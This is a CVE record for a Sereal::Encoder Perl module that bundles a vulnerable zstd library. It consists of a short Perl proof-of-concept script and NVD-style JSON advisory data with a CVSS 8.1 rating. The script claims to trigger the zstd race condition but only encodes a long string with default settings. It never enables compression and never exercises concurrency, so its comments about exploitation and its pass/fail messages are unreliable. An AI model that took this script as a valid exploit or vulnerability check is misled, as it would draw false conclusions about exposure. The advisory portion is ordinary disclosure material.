CVE-2024-14031

#!/usr/bin/perl use strict; use warnings; # This PoC demonstrates the usage of Sereal::Encoder. # Exploitation requires a version between 4.000 and 4.009_002. # The underlying zstd race condition can be triggered by compressing data # that forces the encoder into a state where output buffer management fails. use Sereal::Encoder qw(encode_sereal); my $data = "A" x 10000; # Large payload to stress buffer allocation my $encoder = Sereal::Encoder->new({ }); print "Attempting to encode data...\n"; eval { my $encoded = $encoder->encode($data); print "Encoding successful (might not be vulnerable or patched).\n"; }; if ($@) { print "Error occurred (possible crash or vulnerability trigger): $@\n"; }

{"cve": {"id": "CVE-2024-14031", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-03-31T12:16:26.310", "lastModified": "2026-04-13T12:53:12.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sereal::Encoder versions from 4.000 through 4.009_002 for Perl embeds a vulnerable version of the Zstandard library.\n\nSereal::Encoder embeds a version of the Zstandard (zstd) library that is vulnerable to CVE-2019-11922. This is a race condition in the one-pass compression functions of Zstandard prior to version 1.3.8 could allow an attacker to write bytes out of bounds if an output buffer smaller than the recommended size was used."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yves:sereal\\:\\:encoder:*:*:*:*:*:perl:*:*", "versionStartIncluding": "4.000", "versionEndExcluding": "4.010", "matchCriteriaId": "FFD60C5E-CBFB-4CA6-B28F-B3E80D5F7F13"}]}]}], "references": [{"url": "https://github.com/advisories/GHSA-w77f-wv46-4vcx", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Not Applicable"]}, {"url": "https://metacpan.org/release/YVES/Sereal-Encoder-4.010/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Release Notes"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2019-11922", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Not Applicable"]}]}}